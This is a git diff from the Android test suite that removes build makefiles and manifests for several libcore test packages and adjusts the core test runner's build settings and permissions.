-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-ifeq ($(BUILD_CTSCORE_PACKAGE),)
-    $(error BUILD_CTSCORE_PACKAGE must be defined)
-endif
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.harmony_java_util
-LOCAL_STATIC_JAVA_LIBRARIES := core-tests
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/harmony_java_util/AndroidManifest.xml b/tests/core/libcore/harmony_java_util/AndroidManifest.xml
deleted file mode 100644
index e36468e..0000000
--- a/tests/core/libcore/harmony_java_util/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.harmony_java_util">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/harmony_javax_security/Android.mk b/tests/core/libcore/harmony_javax_security/Android.mk
deleted file mode 100644
index fce594b..0000000
--- a/tests/core/libcore/harmony_javax_security/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-ifeq ($(BUILD_CTSCORE_PACKAGE),)
-    $(error BUILD_CTSCORE_PACKAGE must be defined)
-endif
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.harmony_javax_security
-LOCAL_STATIC_JAVA_LIBRARIES := core-tests
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/harmony_javax_security/AndroidManifest.xml b/tests/core/libcore/harmony_javax_security/AndroidManifest.xml
deleted file mode 100644
index c927855..0000000
--- a/tests/core/libcore/harmony_javax_security/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.harmony_javax_security">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/harmony_logging/Android.mk b/tests/core/libcore/harmony_logging/Android.mk
deleted file mode 100644
index 69a8e3a..0000000
--- a/tests/core/libcore/harmony_logging/Android.mk
+++ /dev/null
@@ -1,25 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-ifeq ($(BUILD_CTSCORE_PACKAGE),)
-    $(error BUILD_CTSCORE_PACKAGE must be defined)
-endif
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.harmony_logging
-LOCAL_STATIC_JAVA_LIBRARIES := apache-harmony-tests
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/harmony_logging/AndroidManifest.xml b/tests/core/libcore/harmony_logging/AndroidManifest.xml
deleted file mode 100644
index 8a669e2..0000000
--- a/tests/core/libcore/harmony_logging/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.harmony_logging">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/harmony_prefs/Android.mk b/tests/core/libcore/harmony_prefs/Android.mk
deleted file mode 100644
index 92b0c7d..0000000
--- a/tests/core/libcore/harmony_prefs/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-ifeq ($(BUILD_CTSCORE_PACKAGE),)
-    $(error BUILD_CTSCORE_PACKAGE must be defined)
-endif
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.harmony_prefs
-LOCAL_STATIC_JAVA_LIBRARIES := apache-harmony-tests
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/harmony_prefs/AndroidManifest.xml b/tests/core/libcore/harmony_prefs/AndroidManifest.xml
deleted file mode 100644
index ebcb4ef..0000000
--- a/tests/core/libcore/harmony_prefs/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.harmony_prefs">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/harmony_sql/Android.mk b/tests/core/libcore/harmony_sql/Android.mk
deleted file mode 100644
index b1df215..0000000
--- a/tests/core/libcore/harmony_sql/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2012 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-ifeq ($(BUILD_CTSCORE_PACKAGE),)
-    $(error BUILD_CTSCORE_PACKAGE must be defined)
-endif
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.harmony_sql
-LOCAL_STATIC_JAVA_LIBRARIES := apache-harmony-tests
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/harmony_sql/AndroidManifest.xml b/tests/core/libcore/harmony_sql/AndroidManifest.xml
deleted file mode 100644
index 7cd86da..0000000
--- a/tests/core/libcore/harmony_sql/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2012 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.harmony_sql">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/jsr166/Android.mk b/tests/core/libcore/jsr166/Android.mk
deleted file mode 100644
index 3f9871e..0000000
--- a/tests/core/libcore/jsr166/Android.mk
+++ /dev/null
@@ -1,20 +0,0 @@
-# Copyright (C) 2013 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.jsr166
-LOCAL_STATIC_JAVA_LIBRARIES := jsr166-tests
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/jsr166/AndroidManifest.xml b/tests/core/libcore/jsr166/AndroidManifest.xml
deleted file mode 100644
index fb4a648..0000000
--- a/tests/core/libcore/jsr166/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.jsr166">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/libcore/Android.mk b/tests/core/libcore/libcore/Android.mk
deleted file mode 100644
index c9aea5e..0000000
--- a/tests/core/libcore/libcore/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.libcore
-# Note that we're not pulling in junit4 here because it's provided by
-# android.test.runner (which might pull in a different version from the
-# one that would be pulled in here).
-LOCAL_STATIC_JAVA_LIBRARIES := core-tests mockito-target-minus-junit4
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/libcore/AndroidManifest.xml b/tests/core/libcore/libcore/AndroidManifest.xml
deleted file mode 100644
index 67a3023..0000000
--- a/tests/core/libcore/libcore/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.libcore">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/okhttp/Android.mk b/tests/core/libcore/okhttp/Android.mk
deleted file mode 100644
index c2b71c0..0000000
--- a/tests/core/libcore/okhttp/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-ifeq ($(BUILD_CTSCORE_PACKAGE),)
-    $(error BUILD_CTSCORE_PACKAGE must be defined)
-endif
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.okhttp
-LOCAL_STATIC_JAVA_LIBRARIES := okhttp-nojarjar bouncycastle-nojarjar okhttp-tests-nojarjar
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/okhttp/AndroidManifest.xml b/tests/core/libcore/okhttp/AndroidManifest.xml
deleted file mode 100644
index f69bc83..0000000
--- a/tests/core/libcore/okhttp/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2014 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.okhttp">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/org/Android.mk b/tests/core/libcore/org/Android.mk
deleted file mode 100644
index d174f98..0000000
--- a/tests/core/libcore/org/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.org
-LOCAL_STATIC_JAVA_LIBRARIES := core-tests
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/org/AndroidManifest.xml b/tests/core/libcore/org/AndroidManifest.xml
deleted file mode 100644
index d705f65..0000000
--- a/tests/core/libcore/org/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.org">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/sun/Android.mk b/tests/core/libcore/sun/Android.mk
deleted file mode 100644
index 2fa1520..0000000
--- a/tests/core/libcore/sun/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.sun
-LOCAL_STATIC_JAVA_LIBRARIES := core-tests
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/sun/AndroidManifest.xml b/tests/core/libcore/sun/AndroidManifest.xml
deleted file mode 100644
index 9888af3..0000000
--- a/tests/core/libcore/sun/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.sun">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/tests/Android.mk b/tests/core/libcore/tests/Android.mk
deleted file mode 100644
index 6429558..0000000
--- a/tests/core/libcore/tests/Android.mk
+++ /dev/null
@@ -1,21 +0,0 @@
-# Copyright (C) 2009 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.tests
-LOCAL_STATIC_JAVA_LIBRARIES := core-tests mockito-target-minus-junit4
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/tests/AndroidManifest.xml b/tests/core/libcore/tests/AndroidManifest.xml
deleted file mode 100644
index f7dab9c..0000000
--- a/tests/core/libcore/tests/AndroidManifest.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2007 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.tests">
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/libcore/tzdata/Android.mk b/tests/core/libcore/tzdata/Android.mk
deleted file mode 100644
index ecbd070..0000000
--- a/tests/core/libcore/tzdata/Android.mk
+++ /dev/null
@@ -1,24 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-ifeq ($(BUILD_CTSCORE_PACKAGE),)
-    $(error BUILD_CTSCORE_PACKAGE must be defined)
-endif
-
-include $(CLEAR_VARS)
-LOCAL_PACKAGE_NAME := android.core.tests.libcore.package.tzdata
-LOCAL_STATIC_JAVA_LIBRARIES := tzdata_update-tests
-include $(BUILD_CTSCORE_PACKAGE)
diff --git a/tests/core/libcore/tzdata/AndroidManifest.xml b/tests/core/libcore/tzdata/AndroidManifest.xml
deleted file mode 100644
index 8a4fad8..0000000
--- a/tests/core/libcore/tzdata/AndroidManifest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="android.core.tests.libcore.package.tzdata">
-    <application>
-        <uses-library android:name="android.test.runner" />
-    </application>
-
-    <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="android.core.tests.runner"
-                     android:label="cts framework tests">
-        <meta-data android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener" />
-    </instrumentation>
-
-</manifest>
diff --git a/tests/core/runner/Android.mk b/tests/core/runner/Android.mk
index f2b83ed..7e4fb0d 100644
--- a/tests/core/runner/Android.mk
+++ b/tests/core/runner/Android.mk
@@ -27,8 +27,6 @@
 
 LOCAL_STATIC_JAVA_LIBRARIES := cts-test-runner
 
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
-
 include $(BUILD_CTSCORE_PACKAGE)
 
 #==========================================================
@@ -44,13 +42,12 @@
 LOCAL_STATIC_JAVA_LIBRARIES := \
     compatibility-device-util \
     android-support-test \
-    android.test.runner \
     vogarexpect \
     testng
 
-LOCAL_JAVA_LANGUAGE_VERSION := 1.8
+LOCAL_JAVA_LIBRARIES := android.test.runner
 
-include $(BUILD_JAVA_LIBRARY)
+include $(BUILD_STATIC_JAVA_LIBRARY)
 
 #==========================================================
 # Build the run listener
@@ -63,5 +60,6 @@
 LOCAL_SRC_FILES := $(call all-java-files-under,src/com/android/cts/runner)
 LOCAL_MODULE := cts-test-runner
 LOCAL_STATIC_JAVA_LIBRARIES := android-support-test
+LOCAL_SDK_VERSION := current
 
-include $(BUILD_JAVA_LIBRARY)
+include $(BUILD_STATIC_JAVA_LIBRARY)
diff --git a/tests/core/runner/AndroidManifest.xml b/tests/core/runner/AndroidManifest.xml
index 05d210b..001e6f2 100644
--- a/tests/core/runner/AndroidManifest.xml
+++ b/tests/core/runner/AndroidManifest.xml
@@ -18,6 +18,8 @@
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.core.tests.runner">
     <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+
     <application>
